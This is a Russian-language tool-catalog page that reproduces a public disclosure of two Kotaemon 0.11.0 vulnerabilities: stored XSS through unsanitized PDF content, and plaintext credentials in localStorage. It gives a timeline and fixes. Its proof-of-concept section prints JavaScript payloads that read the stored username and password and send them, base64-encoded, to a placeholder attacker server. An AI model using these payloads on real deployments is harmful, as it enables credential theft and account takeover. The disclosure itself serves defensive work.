Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Kotaemon-CVE-2025-56526-56527-disclosure — Публичное раскрытие CVE-2025-56526 и CVE-2025-56527 — Stored XSS через несанитизированное отображение содержимого PDF и раскрытие учетных данных в виде открытого текста в Kotaemon 0.11.0. Включает полный технический анализ, PoC, оценку воздействия и график ответственного раскрытия. | Kitploit
Инструменты/GitHubGitHub/hantul/kotaemon-cve-2025-56526-56527-disclosure
Инструменты фишингаАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийЭксфильтрация данныхВеб-безопасностьСтатьи и ИсследованияОбучение и Образование

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
GitHub
hantul/kotaemon-cve-2025-56526-56527-disclosure

Kotaemon-CVE-2025-56526-56527-disclosure

Репозиторий
19 месяцев назадЕщё не проверено

Описание

Публичное раскрытие CVE-2025-56526 и CVE-2025-56527 — Stored XSS через несанитизированное отображение содержимого PDF и раскрытие учетных данных в виде открытого текста в Kotaemon 0.11.0. Включает полный технический анализ, PoC, оценку воздействия и график ответственного раскрытия.

Поделиться

Kotaemon CVE-2025-56526 и CVE-2025-56527 Публичное раскрытие

Межсайтовый скриптинг (Stored XSS) в информационной панели Kotaemon в сочетании с хранением учётных данных в открытом виде в localStorage позволяет осуществить полную компрометацию сессии при загрузке единственного вредоносного PDF-файла.

Сводка

  • Затронутый продукт / версии: Kotaemon <= 0.11.0 (включая коммит 37cdc28)
  • Уязвимости:
    • CVE-2025-56526 – Хранимая XSS через несанитизированное отображение содержимого PDF
    • CVE-2025-56527 – Хранение имени пользователя и пароля в открытом виде в localStorage
  • Требуемые привилегии: Аутентифицированный пользователь с правами загрузки документов
  • Воздействие: Кража учётных данных, постоянный захват сессии, подмена интерфейса выводов LLM, последующая компрометация доверия пользователей

Обзор CVE

CVE IDУязвимостьCWEОсновное воздействие
CVE-2025-56526Хранимая XSS через HTML, полученный из PDFCWE-79Произвольное выполнение JavaScript, кража данных
CVE-2025-56527Хранение учётных данных в открытом видеCWE-922Раскрытие учётных данных, захват сессии

Технический анализ

1. Несанитизированное отображение содержимого PDF (Хранимая XSS)

Результаты извлечения PDF (текст, разметка таблиц, метаданные изображений) внедряются в DOM без экранирования. Вредоносный PDF может содержать произвольный HTML/JS, который выполняется при каждом просмотре retrieved_content в информационной панели или представлениях Reasoning.

Затронутые участки кода:

  • libs/ktem/ktem/utils/render.py (Render.table, Render.image, Render.collapsible_with_header)
  • libs/ktem/ktem/index/file/ui.py (отображение table / image)
  • libs/ktem/ktem/reasoning/simple.py и libs/ktem/ktem/reasoning/react.py
  • libs/kotaemon/kotaemon/indices/qa/format_context.py

2. Хранение учётных данных в открытом виде в localStorage

libs/ktem/ktem/pages/login.py совместно с libs/ktem/ktem/assets/js/main.js сохраняет и извлекает учётные данные в открытом виде напрямую из localStorage:

root@kitploit:~
setStorage('username', usn);
setStorage('password', pwd);
const username = getStorage('username', '');
const password = getStorage('password', '');

Любой JavaScript, выполняемый через вектор XSS, может немедленно прочитать эти значения, что приводит к надёжной краже учётных данных и долговременному захвату учётной записи.

Доказательство концепции

  1. Встройте приведённую ниже полезную нагрузку в PDF (например, внутрь атрибута alt изображения или текстового объекта):
root@kitploit:~
 {
  const u = localStorage.getItem('username');
  const p = localStorage.getItem('password');
  if (u && p) {
    new Image().src='https://[ATTACKER-SERVER]?d=' + btoa(`id=${u}&pw=${p}`);
  }
})();
">
  1. Загрузите PDF и откройте его в информационной панели Kotaemon. Встроенный скрипт выполняется в контексте origin приложения и похищает учётные данные.
  2. Улучшенная полезная нагрузка также похищает контекст просмотра для уточнения цели:
root@kitploit:~
 {
  const payload = btoa(
    `id=${localStorage.getItem('username')}` +
    `&pw=${localStorage.getItem('password')}` +
    `&url=${location.href}&origin=${location.origin}` +
    `&ua=${navigator.userAgent}`
  );
  new Image().src='https://[ATTACKER-SERVER]?d=' + payload;
})();
">

Воздействие

  • Хранимая XSS: Произвольный JavaScript выполняется при каждом просмотре вредоносного PDF.
  • Кража учётных данных: Пары имя пользователя / пароль в открытом виде становятся доступными любому внедрённому скрипту.
  • Постоянный захват сессии: Злоумышленники могут повторно использовать учётные данные для выдачи себя за пользователей, доступа к проектам или отравления выводов LLM.
  • Потеря целостности выводов LLM: Пользователи больше не могут доверять результатам информационной панели или Reasoning, что позволяет выстраивать сложные цепочки социальной инженерии.

Расширенный анализ угроз

Kotaemon часто развёртывается в локальных или корпоративных средах, где пользователи загружают конфиденциальные внутренние документы. Поскольку содержимое, извлечённое из PDF, вставляется в DOM без санитизации, злоумышленник может замаскировать вредоносную нагрузку внутри внешне нормального делового документа.

Когда жертва загружает и просматривает этот документ, скрытый JavaScript выполняется автоматически, похищая учётные данные из localStorage и раскрывая содержимое приватных чатов и документов.

Хотя триггер выглядит инициированным пользователем, это не self-XSS. Корневая причина — неспособность сервера санитизировать HTML, извлечённый из загруженных файлов, что приводит к хранимой XSS внутри доверенных компонентов интерфейса.

В результате, в реалистичных сценариях социальной инженерии, один вредоносный PDF может привести к полной компрометации учётной записи.

Рекомендации

  1. Экранируйте или санитизируйте всё содержимое, полученное из PDF, перед отображением (например, html.escape, DOMPurify или Trusted Types для DOM-приёмников).
  2. Внедрите конвейер белого списка Markdown/HTML, чтобы только одобренные теги и атрибуты попадали в браузер.
  3. Запретите хранение учётных данных в открытом виде на стороне клиента; вместо этого используйте HTTP-only безопасные куки или краткосрочные токены сессии.
  4. Разверните CSP (script-src 'self') и Trusted Types для уменьшения поверхности атаки DOM XSS.
  5. Добавьте регрессионные тесты для путей передачи PDF и определите политику обработки выводов LLM, рассматривая извлечённое содержимое как ненадёжное.

Доказательства (screenshots/)

  • Malicious PDF rendered inside Information Panel
  • HTML payload injected via extracted content
  • Developer tools showing unsanitized DOM nodes
  • Plaintext credentials stored in localStorage
  • Network exfiltration request issued by payload
  • Attacker server receiving base64-encoded credentials
  • Upgraded payload collecting URL/origin/UA metadata
  • Resulting attacker-controlled session/UI

Заявление о раскрытии

Данное публичное уведомление составлено в соответствии с общепринятыми практиками ответственного раскрытия:

  • Вендору было предоставлено более 90 дней для реагирования и выпуска исправления.
  • Было предпринято несколько попыток связаться, но никакого решения или плана исправления предоставлено не было.
  • Идентификаторы CVE (CVE-2025-56526, CVE-2025-56527) были официально присвоены MITRE.
  • За 30 дней до публичного раскрытия было отправлено финальное уведомление.
  • Публичное раскрытие осуществляется сейчас для защиты конечных пользователей и снижения подверженности неисправленным рискам.

Рекомендации для пользователей

Пользователям Kotaemon (<= 0.11.0) до появления исправления безопасности рекомендуется:

  • Следить за официальным репозиторием на предмет предстоящих патчей безопасности.
  • Избегать обработки ненадёжных документов.

Хронология раскрытия

  • 2025-07-14: Первичный отчёт об уязвимости отправлен команде Kotaemon.
  • 2025-08-12: Первый запрос; вендор подтвердил занятость и запросил дедлайн.
  • 2025-09-12: Второй запрос с подробным отчётом и доказательством концепции.
  • 2025-09-13: Финальный запрос; ответа не последовало.
  • 2025-10-14: Отправлено финальное уведомление с намерением публичного раскрытия.
  • 2025-11-14: Публичное раскрытие CVE-2025-56526 и CVE-2025-56527.

Авторы и контакты

  • Данный отчёт подготовил HanTul. (ранее из команды 404 Not Found 퇴근, WhiteHat School 3rd Cohort (WHS3), Южная Корея).
  • Контакт: [email protected]
  • GitHub: @HanTul
Скачать инструмент